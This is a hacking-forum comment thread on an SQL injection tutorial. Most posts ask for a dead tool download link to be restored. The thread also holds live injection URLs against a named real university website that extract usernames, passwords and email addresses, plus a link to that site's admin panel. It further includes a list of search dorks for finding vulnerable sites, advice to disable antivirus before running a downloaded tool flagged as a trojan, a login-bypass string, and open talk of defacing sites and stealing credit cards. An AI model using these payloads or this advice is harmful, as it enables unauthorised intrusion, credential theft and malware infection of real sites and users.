Thanks for the awesome share. Colors are kinda crazy though!

PanParagon - December 14, 2010, 7:12 am

KraZi, can you reupload your hack tools? :)

oh, and i downloaded exploit scanner via other site. it is identical, like yours.

but when i try to find sites, the load status bar is rushing forward and message appear: Found 0 sites.

How can he scan it so fast? Or, really no sites with index.php?id= ? :F

salute

Cyber`SoLdier - December 19, 2010, 11:16 am

Sick tutorial man !

Anywas please fix the broken tools link :(Thx ;)

Jeebak - December 30, 2010, 6:36 am

but how can i test a forum if its vulnarable? Forums dont change or anything if u add a ' at the end.

No5tradamus - December 30, 2010, 9:16 am

Very cool tutorial. Could you also please update your download? Thanks in advance!

tequila - December 30, 2010, 9:44 am

Code sqlivulnerablesite.com/index.php?id=1 union all select
1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --
This is bullshit.

- 1) 0x3a is not a name of a damn column, its a hexed semicolon mark.
- 2) Your column values are not matching. Currently you are checking 11 columns.
- 3) Concat value is bonkers. concat(username,0x3a,password) if you want to go that route.
- 4) That query wont even work because there is no targeted table specified.

killervshunter - January 3, 2011, 11:21 am

there are many sites where this injection is not possible then wht to do then

Np z - January 3, 2011, 3:42 pm

the tools link is broken??

Recitile - January 5, 2011, 4:59 am

^Aggree, i need the tools for sql injecting :c.

chrissirhc - January 6, 2011, 10:16 am

absolutely great tutorial, i been looking for one i could understand. Thanks

mastermind_29_may - January 9, 2011, 4:31 am

why do not u use real site reall example

crckis - January 9, 2011, 5:17 am

Thanks, nice Tutorial! :)

Sheephead24 - January 9, 2011, 6:22 am

The link is broken... PLease help?

Lucifer - January 9, 2011, 7:55 am

link not work please reshare :S

Spikey - January 9, 2011, 8:28 am

Yes, the link is broken. Apart from that, it's a nice tutorial ?

pacokill - January 11, 2011, 10:46 am
not link, but good tuto !!!

DAG - January 16, 2011, 8:24 pm

I ALWAYS fail at the union all select 1,2,3,4,5,6,7,8,9-- just to make sure I'm doing this right, if there are 8 in the database, I would type union all select 1,2,3,4,5,6,7,8-- right?

Minnesota Nice - January 16, 2011, 9:55 pm

Great tutorial, it's easy to follow along with.

mitiulucu - January 21, 2011, 7:11 am

the download link doesn't work. can provide me please another place from where to download?

Skz0r_ - January 25, 2011, 12:23 pm

I can't seem to find the appropriate table. that holds the user-name and password.. Take for instance this is how far I am on one website but I'm stuck here.. Dunno what to do next I'm stumped and it's pissing me off...

http://www.mcw.net/items.php?id=-3%20union%20all%20select%20column_name%20from%20information_schema.columns%20where%20table_name=char%28117,115,101,114,115%29--

The ASCII is for that of users.

HakkuR - January 27, 2011, 4:08 pm

A dork is a whales penis lol good tutorial.

TheIndex - January 28, 2011, 5:23 am

Great tutorial but the download link is broken can you upload another link so we can upload it.

CyberM@X - January 28, 2011, 6:00 am

Please update the download link - or even send me the download link ! :) Thanks in advance

Skz0r_ - January 28, 2011, 9:11 am

(Jan 16, 2011 09:24 PM)DAG Wrote: [\[CITE\]](#) I ALWAYS fail at the union all select 1,2,3,4,5,6,7,8,9-- just to make sure I'm doing this right, if there are 8 in the database, I would type union all select 1,2,3,4,5,6,7,8-- right?

Yes.

[To0o0o0o0 Damn short]

uglykidjoes - February 8, 2011, 2:39 am

Great tut thank you and link is down

1fireman2 - February 8, 2011, 3:32 am

This tutorial is very useful. But if i do id=1 order by 1--, it replaces the spaces with %20. What do I do?

inigma - February 8, 2011, 3:48 am

(Feb 8, 2011 04:32 AM)1fireman2 Wrote: [\[CITE\]](#) This tutorial is very useful. But if i do id=1 order by 1--, it replaces the spaces with %20. What do I do?

Don't worry that's just hex for space

michalis95 - February 11, 2011, 10:25 pm

can you reupload the tools since download link is broken, please??

wisles - February 15, 2011, 7:54 am

Man! i am a beginner and would like to know more about sql injection.

All i want to know is how to hack good Credit Cards. i want to become rich. and also support poor african NGOs

Again Recommend the best method to use for hacking or stealing Credits Cards for me. and how to get the informations or tools for free. hehehe

brynd63 - February 15, 2011, 5:52 pm

If anyone wants the tool just pm me and I shall give you a download link. :)

I still have a copy of it, but it doesn't seem to bring up ANY results :S it use to.

but I am still happy to share the program just pm me. :)

snghax0r - February 16, 2011, 5:39 am

Link is not working please fix.

Shalker - February 16, 2011, 5:37 pm

Hello, nice tutorial but the link is down. Could u upload it again please. thank you

newton - February 18, 2011, 2:20 pm

If you use something like "inject me" with Firefox, and you get a report that shows

unnamed field:

Server Status Code: 406 Not Acceptable

Tested value: 1 AND USER_NAME() = 'dbo'

or:

StyleID

Server Status Code: 301 Moved Permanently

Tested value: 1' OR '1'='1

does this mean the site is vulnerable? If it is, how would you use something like Havij or (suggest some software) to proceed?

Thanks!

Miki989 - February 18, 2011, 3:03 pm

Yes download link is broken, can you type him again!

Real King - February 19, 2011, 1:48 am

~ Very nice good job man:D

Alhalama - February 21, 2011, 6:17 am

Dang, the Download link is down :(

Can any1 link me to it

Very much appreciated

And thanks for that awesome tutorials mate :D

cMxModderz - February 22, 2011, 4:11 am

Download Link Is Down Please Repost a New Link

mathewclarke96 - February 22, 2011, 4:47 am

Great man! This opens a few more doors for my hacking skills..

EpicSniipzz - February 22, 2011, 4:53 pm

download link is broken..failure....

cyanide51 - February 22, 2011, 8:12 pm

are you able to target a specific site

Derik - February 22, 2011, 10:34 pm

like everyone else said, dl link is broken. would appreciate update!

lamezz - February 22, 2011, 11:25 pm

nice tutorial!! but update the links..

leoneI007 - February 23, 2011, 5:37 pm

man the only stuff you are missing is the link

AdminWorld - March 4, 2011, 4:47 am

I found here a good link, but i not tested it. <http://uppit.com/v/BVMGZY5F>

GhostAKF - March 4, 2011, 11:24 am

Hello everybody

welcome to my tutorail on Total SQL injection tool download link:

<http://www.fileshift.com/forms/receive.html?fid=cc8a81544669ea2af112d3f53a25ab1f6412>

Total SQL injection tool is composed of:

-Dorks finder

-injection tool

-admin finder

-Md5 finder

BEFORE USE IT

1_ Disable your anti-virus before run it because it's detect as a trojan but it's not one.

2_ Double click on the setup to install end find website like : <http://mywebsite.com/index.php?id=1>
using dorks bellow

trainers.php?id=

article.php?ID=

play_old.php?id=

declaration_more.php?decl_id=

Pageid=

games.php?id=

newsDetail.php?id=

staff_id=

historialeer.php?num=

product-item.php?id=

3_ Copy and past the url in the tool and click inject -let the tool hackes the website for you-

4_ use the admin finder the find the admin control panel

5_ use md5 finder to find the password hashed

6_ enjoy!!

C0_conan - March 5, 2011, 4:00 pm

great tutor...

the download is broken

iHaCk3R - March 5, 2011, 4:03 pm

nice tut bro Should help alot of people.

:(- March 12, 2011, 1:10 pm

Hey, im having trouble, after entering union all select 1,2,3,4,5,6,7,8,9-- the page loads up fine i dont get any columns?

PM ME PLEASE? thanks.

Bernie 8318 - March 12, 2011, 5:32 pm

Link is down. Can you replace it please? :)

FawkesSake - March 16, 2011, 7:06 am

links broken please replace them

c00ldodo - March 17, 2011, 7:51 am

could someone reupload these please :D ???

nofinishline - March 20, 2011, 10:50 am

hey im stuck in

Code sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--

Joey Tribbiani - March 21, 2011, 12:51 am

Can someone please re-upload the broken download link ? :(

lolalu0 - March 21, 2011, 10:12 am

(Mar 20, 2011 10:50 AM)nofinishline Wrote: [\[CITE\]](#) hey im stuck in

Code sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--
u dont know how to find the 'x'? or what? :p

.EditPacket - March 21, 2011, 11:47 am

the download is broken.. there comes : Oops! This link appears to be broken.

OnlinePlayer - March 21, 2011, 2:51 pm

Like .EditPacket said, The download link is broken please fix it ;) Thx in advance.
Btw I like ur tutorial.

Number-17 - March 24, 2011, 7:40 pm

Very good tutorial Keep it up! :D

zStatic - March 25, 2011, 10:30 am

ye its broken nice tut tho

i95swervin - March 25, 2011, 10:31 pm

nice tutorial this will definitely come in handy

DaRKCraCk3r - March 26, 2011, 4:27 am

nice share man can be very usefull for people those are starting ..

inferno10681 - March 26, 2011, 6:57 pm

[http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char\(108,111,103,105,110,95,105,110,102,111\)--](http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char(108,111,103,105,110,95,105,110,102,111)--)

This site displays all columns, and works perfectly until I actually try to get something out of the columns.

Finding the usernames works fine:

http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,txt_username%20from%20login_info--

But finding the passwords is a different story:

http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,txt_password%20from%20login_info--

What's up with that?

EDIT: If you figure it out, I'd appreciate you letting us know how you did it, so we can all learn.
Understanding that this (whether it should or not) needs an incentive, here's the admin panel:

<http://webpanel.lums.edu.pk/vhosts/ehcp/>

Flying Spaghetti Monster - March 26, 2011, 8:56 pm
download link is broken, please re-upload

incorrectusername - March 28, 2011, 2:45 pm
the download link isnt workin

newbie1789 - March 30, 2011, 6:33 am
Nice Tutorial Man...But the download link is broken..Can you please fix it..TY???

soul_ninja - March 30, 2011, 3:27 pm
Download Link :(
i wna give this a bash

humanistiske - April 12, 2011, 4:41 am
"You don't have permission to access /index.php on this server." I get this error after i use union all select

immortal19 - April 12, 2011, 8:16 am
Nice thread,bt i cant able to find the Vulnearble sites :(
i tried alot to find,bt i cant get

?Ñâzg?! - April 12, 2011, 10:27 am
the download link is still broken :(

JoinSeventh - April 12, 2011, 10:34 am
(Apr 12, 2011 04:41 AM)humanistiske Wrote: [\[CITE\]](#) "You don't have permission to access /index.php on this server." I get this error after i use union all select
PM me the site and i'll help you, no need to go of topic in this thread :)

Dirtyy - April 13, 2011, 8:55 am
The DL link is broken. Could you please fix it or update it... Thanks.

L_Warren - April 22, 2011, 10:43 pm
After a quick Google...

<http://uppit.com/v/BVMGZY5F>

Here we are.

mcdonalds - April 25, 2011, 7:22 pm
(Mar 26, 2011 06:57 PM)inferno10681 Wrote: [\[CITE\]](#)
[http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char\(108,111,103,105,110,95,105,110,102,111\)--](http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char(108,111,103,105,110,95,105,110,102,111)--)

This site displays all columns, and works perfectly until I actually try to get something out of the columns.

Finding the usernames works fine:

http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,txt_username%20from%20login_info--

But finding the passwords is a different story:

http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,txt_password%20from%20login_info--

What's up with that?

EDIT: If you figure it out, I'd appreciate you letting us know how you did it, so we can all learn. Understanding that this (whether it should or not) needs an incentive, here's the admin panel:

<http://webpanel.lums.edu.pk/vhosts/ehcp/>

Bump for this post because I'm also curious.

EDIT: Starting from scratch. I've successfully retrieved all the table names from column 3 (http://www.lums.edu.pk/event_detail.php?id=1%20union%20all%20select%201,2,table_name%20from%20information_schema.tables--). Will keep editing as I progress until I get stuck. I believe the problem retrieving the passwords was because login_info is in two separate tables, tables 65 and 115.

I'm lost. I tried extracting email addresses also and it wouldn't cough that up either. Could someone show me what I'm doing wrong?

[http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char\(109,97,105,108,105,110,103,95,108,105,115,116\)--](http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=char(109,97,105,108,105,110,103,95,108,105,115,116)--)

^^Very strange. This is a direct copy from the page I'm looking at showing all the tables but when I click the link it doesn't work..

ml_id
ml_last_name
ml_first_name
ml_email_address
ml_postal_address
ml_status
ml_id
ml_last_name
ml_first_name
ml_email_address
ml_postal_address
ml_status

mailing_info is the table, column name is ml_email_address

http://www.lums.edu.pk/event_detail.php?id=313%20union%20all%20select%201,2,ml_email_address%20from%20mailing_info--

There is something weird about this website. Like inferno originally said about finding the passwords, when I change txt_passwords to another possible combinations like txt_emails it works. However, when you try something else on the list like txt_address it errors. Why is that?

Visual Hack - April 25, 2011, 10:29 pm

I know everyone has been saying it, but the link is broken. Any chance you could fix it?

Joker100100 - April 28, 2011, 4:43 am

thnx dude for your tuti ..

It's very good .. & I like it :D

obsta - April 28, 2011, 2:02 pm

If you want the program google reiluke and go through his software.

As for my question, when i scan i get no results is this due to the software being outdated?

+Pirate - April 28, 2011, 9:45 pm

Not Found

The requested URL /sqlitools.rar was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

??

obsta - April 28, 2011, 11:52 pm

(Apr 28, 2011 09:45 PM)iGamble Wrote: [\[CITE\]](#) Not Found

The requested URL /sqlitools.rar was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

??

Just try all of the links on reiluke's site untill you get one that works (# for me), and for entering the .zips password, type it dont copy and paste other wise it will return with a error.

+Pirate - April 29, 2011, 1:32 am

Wth u mean reiluke's site the

Not Found

The requested URL /sqlitools.rar was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

comes up when i try to go to "http://proudwhites.com/sqlitools.rar" which was what was posted on the first page..

N3me\$!s - May 2, 2011, 12:00 am

nice tute....

thanks for posting!!

RussianFederation - May 2, 2011, 7:29 am

Basic but well explained gj.

shivam99aa - May 4, 2011, 2:21 pm
the download link is not working.

asifali2000 - May 10, 2011, 9:06 am
great tutorial nice effort

antivirus2010 - May 11, 2011, 2:54 am
nice tut,keep on sharing dudz..

Aaron1Olson - May 12, 2011, 2:06 pm
Oh jeeze this is the best tut on SQLi so far. :)

thank you very much

yoan103 - May 13, 2011, 6:09 am
When i press test sites, it tells me to scan sites :(:(

husky151 - May 20, 2011, 10:54 pm
thanks, helped me out a lot 5/5

Motusora - May 23, 2011, 5:54 am
:D

crackerjack - May 25, 2011, 11:22 am
Very good tut ;) to short

ediz - May 25, 2011, 9:39 pm
very good tut :D :thumbsup:

!PrinceHackz! - May 25, 2011, 10:16 pm
download link not found...

Ministar - May 28, 2011, 7:41 am
link is broken please reupload

Dani Corpse - May 28, 2011, 10:26 am
Fucking epic tut' thanks for your time in making this!

Xmarksthes0t - May 28, 2011, 10:36 am
Download link dead meat plz fix

EcoTerrorist - May 31, 2011, 4:35 am
awsome tut man very HQ helped me alot

Mackful - May 31, 2011, 7:50 pm
Great tut but could you fix the link?

Misterapple - June 1, 2011, 10:05 am
Yea, dead link :(Hope you make a new one

Casino Blue - June 1, 2011, 1:21 pm

Great tut, fix the link please!! thanks

Got Bamf - June 1, 2011, 3:09 pm

I got a admin name and pass and logged in but i dont notice anything different about the home page and i cant figure out how to deface the site.

phoenix1234 - June 2, 2011, 7:09 am

i understood everything till the last point.What is this 0x3a??

I found a site and it has got 5 coloums and 4 and 5 show up on screen.And the column names are id,admin and password.So this is the code right?

union all select 1,2,3,concat(id),concat(admin),0x3a(password),5 from --

only doubt is that with what should i replace 0x3a

UIta - June 2, 2011, 10:30 am

(Jun 2, 2011 07:09 AM)phoenix1234 Wrote: [\[CITE\]](#) i understood everything till the last point.What is this 0x3a??

I found a site and it has got 5 coloums and 4 and 5 show up on screen.And the column names are id,admin and password.So this is the code right?

union all select 1,2,3,concat(id),concat(admin),0x3a(password),5 from --

only doubt is that with what should i replace 0x3a

I think Concat and 0x3a is just the example used. Not actually part of it.

phoenix1234 - June 2, 2011, 2:09 pm

yea i figured it out but forgot to update it here..my bad.its to represent it as username:password

But anyways i still didnt get what i expected.I got till the last injection but after executing the last one it doesnt show any username or password.I tried with Havij also but same thing.I get everthing till the table with id,username and password as column names but i cant get the data from it

iLikeHax93 - June 2, 2011, 2:58 pm

your links dead, please update?

Stewen - June 2, 2011, 3:05 pm

Very good tuto , thanks very much for this tuto brother :)

Boxing - June 2, 2011, 5:05 pm

best tutorial in this section, why dont you sticky it since your staff? :)

Primoz128 - June 4, 2011, 3:01 pm

Why is no dork working for me OH GOD why people ? and fix the link as well man.

lorenco123 - June 5, 2011, 10:59 am

Hello bro , the link is down please update

beazy1 - June 8, 2011, 5:35 am

Linkks broke fix please :)

manyaqcocuk - June 8, 2011, 5:56 am

the link does not send them pleas

imadoxx - June 8, 2011, 12:14 pm

<http://proudwhites.com/sqlitools.rar>

the link doesn't work

Peroxide - June 8, 2011, 8:38 pm

download link is broken bud... but very nice tutorial

CyberM@X - June 9, 2011, 5:16 am

You might need to explain in your own way what SQLi is ?, instead of using WIKI!...

Twat_Swatter - June 9, 2011, 7:22 am

This is a great tut. Unfortunately the download link is not working.

conan_1 - June 11, 2011, 4:50 am

Good Tutorial dude, waiting for others ;)

hisoka34 - June 11, 2011, 11:27 am

i have the tool but he never found a site !!! :@

JailMaster - June 11, 2011, 2:33 pm

Really good tutorial!

I love learning from people who actually know something.

But, it seems that I got a 404 on the tool's download link.

Xitude - June 11, 2011, 3:06 pm

Link Broken. Please Reupload somewhere.

azaghal - June 11, 2011, 3:18 pm

Thank you for your tut !!!

bhavik_hack4hell - June 11, 2011, 11:47 pm

great work..

THanks for sharing

potatoman - June 12, 2011, 2:42 am

sweet,thanks for the tuty

MegaHackerOne - June 12, 2011, 8:59 am

link broken, please reupload

thanks for the honesty and the share

hamadawad2 - June 16, 2011, 7:27 am

why is all that be some how polite to others man!!

sn0wb0ss - June 23, 2011, 12:16 pm

Isn't there some code or something to use in place of the password for the control panel login. Isn't it something like...

1='OR'=1

NotoriousTuba - June 23, 2011, 6:09 pm

reiluke is no longer working is there a work around for this ???

1NV1518L3 - June 24, 2011, 1:06 am

when i add " union all select columns-- " i didnt get numbers ??

Manga. - June 24, 2011, 1:18 am

(Jun 23, 2011 12:16 PM)sn0wb0ss Wrote: [\[CITE\]](#) Isn't there some code or something to use in place of the password for the control panel login. Isn't it something like...

1='OR'=1

1=1 is always a true statement so yes.

eight - June 24, 2011, 1:22 am

The link is broken.. again.

DanaizeEBoo_ ^ - June 24, 2011, 3:11 am

thanks for this tutOrial. Ill try this n0w.

g0tm3n0thing - June 24, 2011, 4:43 am

thanks for this tutorial. but the link is down

Rouge Status - June 24, 2011, 5:34 am

very nice tut learned a lot would love to download the tools but as mentioned above they are down thanks for the great post.

Xard - June 26, 2011, 12:17 pm

New link please

the link is broken.

Erik500002 - June 26, 2011, 1:41 pm

Yes very detailed tutorial, but on thin link for tools is broken, a mirror would be appreciated. :)

stevealeen - June 26, 2011, 8:27 pm

The download link is broken.

icnhzabot - June 26, 2011, 9:05 pm

beast tut. thanks.

btw, the text to ascii link is broken.

potew - July 4, 2011, 7:36 am

Fix that broken download link, please!!!!

nck0099 - July 4, 2011, 12:04 pm

good effort i hope it will help alot for bgnrs...

B3cnoc - July 9, 2011, 7:30 am

cool tutorial :)!. but the links to the Tools doesn't work anymore :(

NathanGFX - July 9, 2011, 2:05 pm

The download link is broken :(

Hydr0 - July 9, 2011, 11:19 pm

Link is broken, please fix.

MountainDew - July 10, 2011, 8:15 am

please fix the download link

drakenlord - July 10, 2011, 1:04 pm

Thanks to your tutorial and many others here's tutorials, I made my first official sqli and first hack ever. Thank you all for the great work.

Bone™ - July 10, 2011, 1:06 pm

Damnit! The link needs to be fixed again :/

spyrow - July 10, 2011, 1:08 pm

Looks great thanks for the tutorial.

spyrow - July 10, 2011, 1:08 pm

Looks great thanks for the tutorial.

?3? - July 11, 2011, 12:37 am

The program does not work any more it wont scan at all.

matiop1 - July 11, 2011, 3:20 am

Thanks for the tutorial ! I take to work ! ;)

TheBiohaxard - July 13, 2011, 11:17 am

? Thanks man, getting right on it and testing on cPanel 11.

Xx Knoxide xX - July 13, 2011, 12:48 pm

Every Time I scan nothing comes up, Help Plz

acf - July 13, 2011, 2:30 pm

The tools are offline... is there a new mirror?

3XiLED - July 27, 2011, 8:54 am

Hey bro, the tools are down any chance you could re-upload them or send me the files.

Thanks!

Exertion - July 27, 2011, 12:02 pm

If theres anyway you could send me the tools I would appreciate it.

Click Me - July 28, 2011, 2:33 am

Thank you for the tut :)

EDIT:

Can you reupload the files or PM them to me please.

Devougn - July 28, 2011, 4:41 am

Please update the download link :(

Link's broken

huntingforbillions - July 30, 2011, 4:29 am

it can be interesting, i find amazing that at this period of time, you can still find sites vulnerable to SQL injection.... heck you can even find sites with directory listing turned on.

penguin19985 - July 30, 2011, 2:19 pm

Link patched...

Pleas make another link /closed

Retribute - August 8, 2011, 1:50 pm

Thanks for this! Very good tutorial for beginners.

Super_Mario - August 8, 2011, 1:59 pm

Please reupload the files ! é_è

Thanks for the tutorial btw ;)

?¢?????-????? - August 8, 2011, 2:17 pm

Link broken . Please fix it so i can download

jackevil - August 11, 2011, 8:37 am

the download is offline :)

can you replace the download please?

?aragon - August 11, 2011, 9:28 am

Please reupload the files, dude =).. Looks like a nice tutorial!

baker_44 - August 11, 2011, 9:38 am

This looks like a good tutorial, is their any chance you can re-upload the .rar file so i can have ago at it thanks :]

-Stickle- - August 11, 2011, 12:36 pm

the link is broken again, and very nice tut keep the great work up mate

Very nice and detailed tut =) Thanks very much for all the help you have give me

lllllllllll - August 11, 2011, 5:12 pm

I have these files on my computer. If anybody wants them just pm me and ill send ya a link. Also thanks for this tutorial. It's helped me a lot :)

yasin906 - August 19, 2011, 6:31 am

yes this should be sticky thread, everythine one place

Ace Boogie - August 19, 2011, 4:06 pm

People. Yes, the download link is down but use your common sense and download the tools by Google search.

Some dorks can be found here: <http://forum.xaknet.ru/showthread.php?t=16200>

ReiLuke's Scanner can be found here:

<http://reiluke.i.ph/blogs/reiluke/2009/02/12/reiluke-tools-download-link/>

I mean come on, you can be a noob but not a retarded noob. You have everything you need, but you just don't use it.

By the way, the scanner doesn't work for me. I don't think it works at all at the moment.

didi4ditia - August 20, 2011, 8:23 am

thank you my brother really liked this post

oxycry - August 20, 2011, 9:21 am

Thank you for the tutorial but the link :/:

d0wn3ge - September 19, 2011, 1:14 pm

bro it says

Code Not Found

The requested URL /sqlitools.rar was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.when i open download link

EVILKING - October 3, 2011, 1:25 am

BUT SIR I HAVE A PROBLEM.

I HACKED SO MANY USERNAME AND PASSWORD AND ALL ARE IN PLAIN TEXT BUT WHENEVER I LOGIN TO CPANEL IT SHOWS ERROR THAT "LOGIN ATTEMPT FAILED"..

NOW WHAT I HAVE TO DO HELP ME..

ov3rdo - October 8, 2011, 8:48 am

nice tutorial helped me much! big thanks!

watson02702 - October 8, 2011, 1:00 pm

can anyone pl help me finding out the admin username and password manually for the site www.feldgrau.com...

Xareviixo - October 8, 2011, 7:06 pm

i cant find anything to hack this site,

<http://tibianic.org/home/>

please help out

deejay.dude - October 9, 2011, 1:15 am

[b]This is wrong section to sort this out! BTW I didn't find any SQL vuln on it.

ilolle1 - October 9, 2011, 8:19 am

Now in excess this tutorial, there are a lot of sql injection

TuCistador - October 12, 2011, 12:36 pm

Thx for the tutorial, it's a good one & well explained.

N.b. : i'm stuck need some advise please, the reiluke exploit scanner says me "Found 0 Sites for testing"

Reiluke exploit scanner doesn't work anymore.

Clones - October 13, 2011, 2:43 am

This is really a very nice tutorial, thanks for sharing. :)

¥øšHimitšu - October 16, 2011, 1:52 pm

Hello. For me, it is saying that the domain proudwhites is no longer available, and therefore I cannot download the tools. Any help? Maybe u can upload to mediafire? Thanks!

reikan - October 17, 2011, 3:45 pm

Cant download the files anymore, please re-upload em :D Very nice tutorial btw! Thank you!

-Joe - October 17, 2011, 3:57 pm

Amazing tutorial, I was looking for something like this as I'm starting to hack a few websites :)
Thank you this will definitely help me out loads.

NUNsLAUGHTER92 - October 18, 2011, 5:12 pm

The tools aren't there anymore.. I'd greatly appreciate it if you uploaded them again.

keener - October 20, 2011, 2:08 pm

This is just to hack random websites. How can I use sql injection on a specific site that uses mysql?

Fishy - October 20, 2011, 6:18 pm

Thanks for this tutorial Kr4z1 this helped me and other people as well :)

Napst3R - October 21, 2011, 4:45 am

The download link is not working. Can you fix it

junkyard - October 21, 2011, 6:40 am

I am a Linux user .is there any tools for Linux?

uranium235 - October 21, 2011, 8:14 am

the download file doesnt exist
it says tat de domain have xpired

shadrang - October 22, 2011, 1:19 am

This tutorial is way too un-noobfriendly, couldn't get a hold on it.

sumdum - October 25, 2011, 11:01 pm

Thank you Sir for this Tut. That very informative

The Alchemist16 - October 25, 2011, 11:03 pm

This post was cool and perfect... Thanx for posting..

SilentAntagonist88 - October 25, 2011, 11:14 pm

Thanks for this VERY useful tutorial, only thing is the download link doesn't show a download...

?¢?????-????? - October 30, 2011, 2:11 am

Hi, Download link don't work for me, When I click it the link shows as :
<http://proudwhites.com/sqlitools.rar> and nothing downloads or pops up or says click here to download?

AceHF - October 30, 2011, 4:30 am

Nice tut bro keep up the good work.

DublinPublinAndre - October 30, 2011, 8:34 am

Wow nice guide, gunna use it soon. ty

CcM696 - November 7, 2011, 5:37 am

the download link doesnt work. Can you re-upload it, please.

postbag - November 7, 2011, 7:31 am

Here is the download link :) ?

<http://uppit.com/v/BVMGZY5F>

Motusora - November 8, 2011, 2:27 am

nice tutorial dude ! keep up the good work !

akogwapo14 - November 8, 2011, 2:57 am

(Nov 7, 2011 08:31 AM)postbag Wrote: [\[CITE\]](#) Here is the download link :) ?

<http://uppit.com/v/BVMGZY5F>

i try all dorks but no site found your copy is fake

Mommy???????????? - December 21, 2011, 7:53 pm

This is very nice bro but the Download just took me to Proudwhite.com.. hahaha

MxRE - December 21, 2011, 9:51 pm

Yeah I'm looking at learning how to do SQL Injections, this guide is very very good but download link is broken

AHelpfulAnon - December 21, 2011, 10:49 pm

I'll try and learn how to do this tonight!

Thank you! xD

Trybbox - December 22, 2011, 2:43 am

Could you re-upload the sqltools, please? :) Thanks in advance...

Monsey - December 22, 2011, 6:48 am

The tools aren't working anymore, sadly.

Also this thread is like 2 years old soon :D

drewbag27 - December 22, 2011, 1:20 pm

sweet dead link! im really liking it!

RIPPER - February 11, 2012, 2:57 am

Bro that is only mysql database. I think you should put more juice in there.

Still good tutorial

ÂNÄRÇ??Ý - March 1, 2012, 1:09 am

Sorry mate, but the links broken...:/

deinocheirus - March 12, 2012, 5:27 pm

brilliant!! thank you!

message brought you by deinocheirus

cristo_HACKER - March 12, 2012, 6:50 pm

pleas give tha link that is not working

1001403838326 - March 13, 2012, 12:22 am

why is it when i type in index.php?id= it shows up as 0 sites for testing?

r3d0tsc0p3 - March 13, 2012, 1:09 am

(Mar 13, 2012 12:22 AM)1001403838326 Wrote: [\[CITE\]](#) why is it when i type in index.php?id= it shows up as 0 sites for testing?

Same for me.. Tho shortt tho shortt tho shortt

ziashaikh - March 13, 2012, 5:30 am

dl link doesnt work. .. please fix it man...

niqscan - March 14, 2012, 4:14 am

wow helped me so much great share

:D

Suffocater - March 15, 2012, 6:06 am

cant download tools,link doesnt work....can u fix it pls?

Gorcsev - March 15, 2012, 7:15 am

Download link doesn't work.

Thanks for the tutorial anyway.

[img]http://im-smiley.com/imgs/signs-and-flags/signs-and-flags028.gif[/img]

x1r28 - March 15, 2012, 8:22 am

Can you update the download link, please ?

COM3X - March 16, 2012, 2:33 pm

The link is not working >.< Please fix the link dude, great tut otherwise

sgtjones - March 18, 2012, 12:57 pm

Very Nice tutorial but when i try to download the tool something about whites come up can you fix the link please. Thanks! :)

Anonymouzzze - March 21, 2012, 7:52 pm

Interesting! I can't wait to give it a try tomorrow.

brad6833 - March 23, 2012, 3:42 am

i am wondering if there anyone who can recommend me the best SQL injection tool

floyd123 - March 26, 2012, 12:00 am

i want to know if havij work with apple because i try to download it and it didnt work

Effective - March 26, 2012, 10:41 am

Can't download the tools :\ can you fix the broken link or something ?

SubjectTrek - March 26, 2012, 12:26 pm

Thank you so much probably going to give this a shot sometime soon.

beststronglikeme - March 29, 2012, 1:18 am

Thankyou this tutorial helped me alot!

AgentWolf - March 29, 2012, 9:43 am

Link is bad, the website is gone...

.

simply_learn - June 2, 2012, 5:33 am

Hi ,

Tutorial is good , however download link is broken . Please suggest if you can load again .

Thanks :)

aldaris565 - June 5, 2012, 10:03 am

Upload it again please!! nice tutorial dude! THANKS!

siemz - June 5, 2012, 1:52 pm

hey, great tutorial!

but when i use "union select "
i get this :

Invalid query: The used SELECT statements have a different number of columns

how ever i know there are 45 columns for sure, cause :
"Invalid query: Unknown column '45' in 'order clause'"

:\$ Help me out , please?

hey dude, great tutorial but ...
after i use the union select i get :
"Invalid query: The used SELECT statements have a different number of columns"

But i know for sure there are 45 columns cause ..
"Invalid query: Unknown column '45' in 'order clause'"

Invalid query: The used SELECT statements have a different number of columns
when using union select
any help?

Inva-lid qu-ery: The used SE-LE-CT statements have a different number of columns
when using union select

Darkheat - June 6, 2012, 5:23 pm

The link goes to proudwhites.com ?, lol wtf? Might be a good idea to fix it ?. Either way thanks for the great guide, i can just search the tools myself ?, being that you adding them is more of a leisure and not needed for a good Tutorial. 10/10 ?

Thanks,
~D???????™

salma21 - June 7, 2012, 12:11 am

yes this is a great tuts i wish that u continue step by step for beginners

SuicideTheet - June 8, 2012, 6:08 am

nice tutorial man, cant wait untill i get this good when i can start teaching others

nE0punk - June 10, 2012, 12:14 pm

my god, its almost 2.5 years old >__<

let all those dead threads rest in peace...

googledotcom - June 10, 2012, 2:18 pm

great tutorial and the program works fine...btw not infected

hahahawut - June 10, 2012, 8:32 pm

The download link is broken ;(

Other than that, it's a amazing tutorial! 5/5

Slurping - June 10, 2012, 9:52 pm

Great tutorial, although when I hit scan sites, I get an error saying zero sites for testing. I've tried different Dorks and no avail.

bmr03 - June 10, 2012, 10:44 pm

the link still does not work for me :(

RIPPER - June 11, 2012, 2:11 am

